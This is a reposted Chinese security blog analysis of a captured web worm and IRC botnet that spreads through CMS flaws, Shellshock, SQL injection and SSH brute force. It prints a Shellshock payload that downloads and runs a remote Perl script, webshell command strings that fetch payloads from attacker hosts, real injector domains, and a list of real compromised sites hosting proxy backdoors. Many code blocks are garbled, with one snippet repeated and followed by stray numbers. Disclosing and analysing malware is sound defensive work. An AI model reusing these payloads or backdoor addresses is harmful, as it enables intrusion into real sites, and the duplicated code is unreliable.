神刀安全网

新一代强悍web蠕虫被捕获,已感染千余网站

* 原创作者:KibodWapon

最近,一个很新颖而且强大的web蠕虫被 捕获 ,它功能上相当于一个综合漏洞扫描器。该蠕虫主要利用一些web程序的高危漏洞进行传播,其中包括phpmyadmin,wordpress,joomla,magento等等知名网站app的漏洞,还有破壳漏洞,ssh弱口令,sql注入,自动提权。

感染后的bot会从服务端接收指令,进行ddos攻击,漏洞扫描感染其他主机,作为http proxy,生成irc服务端等等。分析发现已经感染的主机里作为web proxy的网站已达1000个,后续我会把涉及的所有源码分享(包括臭名昭著的phpmyadmin蠕虫zmeu)。

新一代强悍web蠕虫被捕获,已感染千余网站

0×01 起因

翻看vps web日志时候看到了攻击迹象,有zmeu的useragent,有shellshock的payload。

新一代强悍web蠕虫被捕获,已感染千余网站

然后顺藤摸瓜getshell了一个bot(通过wordpress的一个漏洞下载数据库配置文件,用数据库密码成功登录wordpress,但是没有安装插件权限,在修改文章的地方插入insertPHP插件解析的php代码,韩语的折腾了1个多小时)。

新一代强悍web蠕虫被捕获,已感染千余网站

在网站目录里找到一个功能很强大的php大马,支持bypass safe mode,安装代理等等,所以决定深入挖掘。

新一代强悍web蠕虫被捕获,已感染千余网站

新一代强悍web蠕虫被捕获,已感染千余网站

在这个bot上下载的一些源码,发现了触目惊心的CC程序。

0×02 分析

这个蠕虫仅仅pl脚本部分代码已达上万行,所以分析不当的地方请指出。Bot节点一旦扫描出某个服务器存在漏洞,就在该漏洞主机上下载控制脚本并执行,这个主机就沦为一个bot,最后会给控制者发送一封邮件注册该被控主机。例如Shellshock的payload

"() { :;};/usr/bin/perl -e 'print /"Content-Type: text/plain//r//n//r//nXSUCCESS!/"; system(/"wget http://xxxserver.com/shell.txt -O /tmp/shell.txt;curl -O /tmp/shell.txt http:// xxxserver.com/shell.txt; perl /tmp/shell.txt ; rm -rf shell.txt /");'"

我们从web漏洞感染做为主线分析一下流程。为了简明我会把一些代码省略掉。

初始化远程下载服务器地址:

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

linux 下载指令,通过web参数传递的,bot成功利用漏洞getshell后,会把这些下载被控端脚本的指令发送给webshell。

my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php"; my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php"; my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";

初始化1000个web代理后门地址,为后边批量采集做准备

my @randombarner= ("http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php", "http://www.villaholidaycentre.co.uk/includes/js/calendar/lang/seka.php", "http://viewwebinars.com/wp-includes/errors.php", "http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php", "http://www.linuxcompany.nl/modules/mod_login/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://liftoffconsulting.ca/wp-includes/errors.php", "http://www.voileenligne.com/audio/komo.php", "http://www.gingerteastudio.com//wp-content/uploads/components/search.php", "www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php", "http://sirena-fish.com/modules/mod_login/search.php", "www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php", "http://kavkazinterpress.ru/plugins/content/config.inc.php", "http://dom-sad-ogorod.ru/plugins/search/config.inc.php", 。。。。。

声明全球各地搜索引擎的函数变量

my $engine       = "UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan, Norway,Montenegro,Greece,Education,Goverment,Kazakhstan, Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia, Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,KonToL,PePek,TeTek,ItiL,Vagina,NenNen,SuSu,BuahDada,PayuDara,Kentot,eMeL,OraL,Klitoris,Masturbasi,Onani,Sperma,AnaL,Puting,Penis,MeMek,GooGLeCA, ................

连接上控制端服务器后循环读取并执行指令

while( 1 ) {     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }     select(undef, undef, undef, 0.01);     delete($irc_servers{''}) if (defined($irc_servers{''}));     my @ready = $sel_client->can_read(0);     next unless(@ready); foreach $fh (@ready) {

自我管理的指令,自杀重启退出等等

if (&isAdmin($nick) && $msg eq "!die") {                                     &shell("$path","kill -9 $$");                             }                             if (&isAdmin($nick) && $msg eq "!killall") {                                     &shell("$path","killall -9 perl");                             }                             if (&isAdmin($nick) && $msg eq "!reset") {                                     sendraw("QUIT :Restarting...");                             }                             if (&isAdmin($nick) && $msg =~ /^!joinx /#(.+)/) {                                     sendraw("JOIN #".$1);                             }                             if (&isAdmin($nick) && $msg =~ /^!partx /#(.+)/) {                                     sendraw("PART #".$1);                             }                             if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {                                     sendraw("NICK ".$1);                             }                             if (&isAdmin($nick) && $msg =~ /^!pid/) {                                     sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");                             } 。。。。。。。。。

检测存放控制脚本等后门的服务器是否存活的指令,为后续下载被控脚本做准备

if ($msg=~ /^!respon/ || $msg=~ /^!id/) {                                     $inject1 = "";                                     $inject2 = "";                                     $inject3 = "";                                     $inject4 = "";                                     my $cekby1 = &get_content($rceinjector);                                     my $cekby2 = &get_content($thumbid);                                     #my $cekby3 = &get_content($arbitrary);                                     my $cekby4 = &get_content($rceinjector2);                                     if ($cekby1 =~ /b0m - exploit/i){ $inject1 = " 9Ready!!!"; } else { $inject1 = "4Lost!!!"; }                                    if ($cekby2 =~ /b0m aka albcr3w/i){ $inject2 = " 9Ready!!!"; } else { $inject2 = "4Lost!!!"; }                                    #if ($cekby3 =~ /BArNEr/i){ $inject3 = " 9Ready!!!"; } else { $inject3 = "4Lost!!!"; }                                    if ($cekby4 =~ /BArNEr/i){ $inject4 = " 9Ready!!!"; } else { $inject4 = "4Lost!!!"; }                                    #&msg("$path"," 12Injector Checker");                                                   &msg("$path"," 12RCE Injector : $inject1");                                    #&msg("$path"," 12Timthumb Injector : $inject2");                                        #&msg("$path"," 12Arbitrary Injector : $inject3");                                             &msg("$path","12RCE Injector2 : $inject4");

检测web代理列表的存活情况,如果存活在用来作为使用搜索引擎采集攻击目标的代理。

if (&isAdmin($nick) && $msg eq "!bypass") {                                 my $bystats1 = "";                                 my $bystats2 = "";                                 my $bystats3 = "";                                 my $bystats4 = "";                                 my $bystats5 = "";                                 my $bystats6 = "";                                 my $bystats7 = "";                                 my $bystats8 = "";                                 my $bystats9 = "";                                 my $bystats10 = "";                                 my $bystats11 = "";                                 my $bystats12 = "";                                 my $bystats13 = "";                                   my $cekby1 = &get_content($jack1."search");                                 my $cekby2 = &get_content($jack2."search");                                                               my $cekby3 = &get_content($jack3."search");                                 my $cekby4 = &get_content($jack4."search");                                 my $cekby5 = &get_content($jack5."search");                                 。。。。。。。。                                 。。。。。。                                   if ($cekby1 =~ /search/i){ $bystats1 = " 9Up!"; } else { $bystats1 = "4Lost!"; }                                if ($cekby2 =~ /search/i){ $bystats2 = " 9Up!"; } else { $bystats2 = "4Lost!"; }                                if ($cekby3 =~ /search/i){ $bystats3 = " 9Up!"; } else { $bystats3 = "4Lost!"; }                                if ($cekby4 =~ /search/i){ $bystats4 = " 9Up!"; } else { $bystats4 = "4Lost!"; }                                if ($cekby5 =~ /search/i){ $bystats5 = " 。。。。。。

如果指令是web漏洞扫描,bot则先通过批量代理搜索例如google dork(inurl:wp-admin) 等等,然后批量检测特定web程序漏洞

if (&isAdmin($nick) && $msg =~ /^$mag50pxd/s+(.*)/) {                  if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {                                              my $dork = $1;                                              my $check = &read_dorks($dork);                                                       if ($check == 1) {                                                                &msg("$path"," 12$nick  4Re-scan detected"); exit;                                                      } else {                                              &msg("$chanxxx"," 12@4$nick  3Scanning on  4$path  ");                                             &msg("$path"," 14scanning MaGmi started...");                                                sendraw("MODE $path +m");                                                       &write_dorks($dork);                                              &se_start($path,$bug,$dork,$engine,4,$nick);                                                       }                                              }                                     }                             }                             if (&isAdmin($nick) && $msg =~ /^$rescmd/s+(.*)/) {                  if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {                                              my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);                                              my $check = &read_dorks($dork);                                                       if ($check == 1) {                                                                &msg("$path"," 12$nick  4Re-scan detected"); exit;                                                      } else {                                              &msg("$chanxxx"," 12@4$nick  3Scanning on  4$path  ");                                             &msg("$path"," 14scanning RevSlider Upload started...");                            sendraw("MODE $path +m");                                                       &write_dorks($dork);                                                  &se_start($path,$bug,$dork,$engine,5,$nick);                                                       }                                              }                                     }                             }                             if ($msg =~ /^$jomcmd/s+(.*)/) {                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {                                                 my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);                                                 &msg("$chanxxx"," 4,1Lapor3 $nick15,1 lagi scan Joomla di  4$path");                                                &msg("$channel","$jomlogo   15Search Engine Loaded..");                                                &se_start($channel,$bug,$dork,$engine,2,$nick);                                                 }                                         }                                 }                             if ($msg=~ /^$zencmd/s+(.*)/) {                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {                             my ($bug,$dork) = ("extras/curltest.php",$1);                             &msg("$path","$zenlogo   9Dork :4 $dork");                            &msg("$path","$zenlogo   3Search Engine Loading ...");                            &se_start($path,$bug,$dork,$engine,7,$nick);                         }                     }                             }                             if ($msg =~ /^$jcecmd/s+(.*)/) {                  if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {                                              my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);                                              my $check = &read_dorks($dork);                                                       if ($check == 1) {                                                                &msg("$path"," 12$nick  4Re-scan detected"); exit;                                                      } else {                                              &msg("$chanxxx"," 12@4$nick  3Scanning on  4$path  ");                                             &msg("$path"," 14scanning jce started...");                                                sendraw("MODE $path +m");                                                       &write_dorks($dork);                                              &se_start($path,$bug,$dork,$engine,8,$nick);                                                       }                                              }                                     }

我们举例分析一下zen cart 那个本地文件读取漏洞蠕虫的代码:

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

0

这算是一个简单过程举例。

我们再看一个wordpress 漏洞getshell后执行的一段php脚本。

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

1

下边对每一个模块进行概述性质的说明,代码庞大。

(1)、web感染模块

漏洞利用模块包括了几十个使用量最高的web程序高危漏洞getshell函数。

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

2

上面每一个变量对应一个web漏洞,例如mag2logo 对应 Magento Server MAGMI Plugin的一个RFI漏洞

想了解漏洞详情,可以参考地址 : https://www.exploit-db.com/exploits/35052/

蠕虫里利用代码如下:

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

3

再例如joomleaguelogo 对应joomla的一个任意文件上传漏洞,可以参考

https://packetstormsecurity.com/files/123865/Joomla-Joomleague-Shell-Upload.html

蠕虫代码如下:

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

4

sqllogo对应sql注入漏洞利用模块,从搜索引擎抓取网站的连接,然后尝试sql注入利用,支持mysql,access,sqlserver等数据库。注入成功后如果是mysql数据库,则尝试获得数据库用户名和密码和读取/etc/passwd 、/etc/shadow等文件,如成功则把结果发给控制端。

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

5

还有wordpress等等这里不一一列举额。

(2)、代理与采集

蠕虫感染一个bot后,这个bot就有可能成为一个web代理,代理主要是让漏洞扫描的bot通过这些开通web代理的bot组成的bot网络来采集域名,为后续攻击提供目标。

据不完全统计,找到1095个web代理的bot,假设某天这1000个代理每个采集10W个域名,假设漏洞利用成功率是一万分之一,那么该蠕虫网络这一天就能入侵1万个网站或主机,而且蠕虫感染量一定会是指数型增长,让人不寒而栗。

新一代强悍web蠕虫被捕获,已感染千余网站

通过浏览器随便找个代理看看,有多种web代理如rfi,socks5呀等等,因为有的网站权限不高或者禁止一些功能,那蠕虫会想办法bypass或者找一个替代方法。php里file_get_contents 可以做代理,下图是用fsockopen 作的代理,因为没有传参数,所以报了警告。

新一代强悍web蠕虫被捕获,已感染千余网站

这个是php写的一个代理网页,蠕虫感染一个网站后会根据控制端指令把代理网页上传到网站里,并且取一个具有迷惑性的名字。

新一代强悍web蠕虫被捕获,已感染千余网站

我在蠕虫的代理列表里随机找一个代理,通过代理访问一下google,图片什么的都加载得很完善,说明这个php代理程序已经很成熟了。

新一代强悍web蠕虫被捕获,已感染千余网站

通过这个代理网络bot访问数百个搜索引擎,进行dork采集,采集完域名用后上面的web漏洞利用模块扫描,尝试getshell。

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

6

新一代强悍web蠕虫被捕获,已感染千余网站

分不同的地域,采集不同语言的搜索引擎例如,下面是yahoo某国家的搜索代码:

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

7

这里分享出来部分在线web代理后门,可以访问google等

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

8

(3)、zmeu、端口扫描和ssh爆破

Zmeu是针对phpmyadmin的一个蠕虫,利用一些漏洞获得数据配置文件或直接执行php代码。该蠕虫早再2011年就被人发现,但是没有捕获到原程序,这里我们找到了一个elf样本。可以参考下面连接

https://ensourced.wordpress.com/2011/02/25/zmeu-attacks-some-basic-forensic/

新一代强悍web蠕虫被捕获,已感染千余网站

ssh爆破模块包括以下几个文件,pass.txt是字典,ssh2是个不知其名最新版的ssh爆破

新一代强悍web蠕虫被捕获,已感染千余网站

1000个常用ssh弱口令,样本如下

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php"; my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php"; #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php"; #my $hostinjector = "wordpress.com.longlifeweld.com.my"; my $thumbid = "http://".$hostinjector."/petx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php";

9

ssh爆破程序:

新一代强悍web蠕虫被捕获,已感染千余网站

文件ss是一个高效率端口扫描程序,该程序会随机在ipv4地址空间寻找ip扫描开放指定的端口号的ip。

新一代强悍web蠕虫被捕获,已感染千余网站

pscan2是一个小巧的端口扫描程序,

源码可参考 https://code.google.com/p/caffsec-malware-analysis/source/browse/trunk/mIRChack/pscan2.c?r=47

新一代强悍web蠕虫被捕获,已感染千余网站

(4)、CC模块

新一代强悍web蠕虫被捕获,已感染千余网站

Command指令包括:

my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php"; my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php"; my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";

0

先看帮助,不得不感叹 ,这简直是一个僵尸网络生态系统,蠕虫上竟然有抓取黑客新闻的指令!

下面仅仅把每个模块感兴趣的部分代码摘出来。

#获取操作系统系统信息

新一代强悍web蠕虫被捕获,已感染千余网站

#perl脚本端口扫描指令

新一代强悍web蠕虫被捕获,已感染千余网站

# 从PacketStorm抓取新闻

新一代强悍web蠕虫被捕获,已感染千余网站

#安装socks5代理

新一代强悍web蠕虫被捕获,已感染千余网站

#用nmap扫描

新一代强悍web蠕虫被捕获,已感染千余网站

#清理日志

新一代强悍web蠕虫被捕获,已感染千余网站

#sql注入扫描:批量用关键词如sql数据报错信息,从搜索引擎上抓取连接,然后通过注入获得数据库用户名密码则算成功利用

新一代强悍web蠕虫被捕获,已感染千余网站

#检查是否能linxu提权,内核版本和提权脚本对照表

新一代强悍web蠕虫被捕获,已感染千余网站

#针对数据库服务器的flood攻击

新一代强悍web蠕虫被捕获,已感染千余网站

#海量网站漏洞扫描

新一代强悍web蠕虫被捕获,已感染千余网站

在源码里找到了IRC控制端的ip,我们通过浏览器访问一下IRC控制端口,虽然协议不一致,但是也输出了一些信息,我们浏览器伪造的bot还没有注册到这个IRC服务器。

新一代强悍web蠕虫被捕获,已感染千余网站

(5)、其他

还发现了用短信网关发送短信模块

新一代强悍web蠕虫被捕获,已感染千余网站

IRC服务器程序,当蠕虫数目很多并且分布全球各地的时候,各个节点间通信可能不会很流畅,所以要在某些节点上安装IRC服务器,然后这些irc服务器组成一个很大的irc网络,方便管理。(IRC最初是为聊天设计的协议,现在很多病毒,蠕虫使用该协议。IRC是Internet Relay Chat 的英文缩写,中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可。http://baike.baidu.com/link?url=RQ8vHzSA4kyllwt4u8JJQaGximP0ojqtt-3oovWxAWznLgkw8pslmFbMDjkAOCgmQRMLIraGe0PtZC6kIJQHd_)

新一代强悍web蠕虫被捕获,已感染千余网站

原文  http://www.freebuf.com/articles/web/91139.html

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 新一代强悍web蠕虫被捕获,已感染千余网站

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮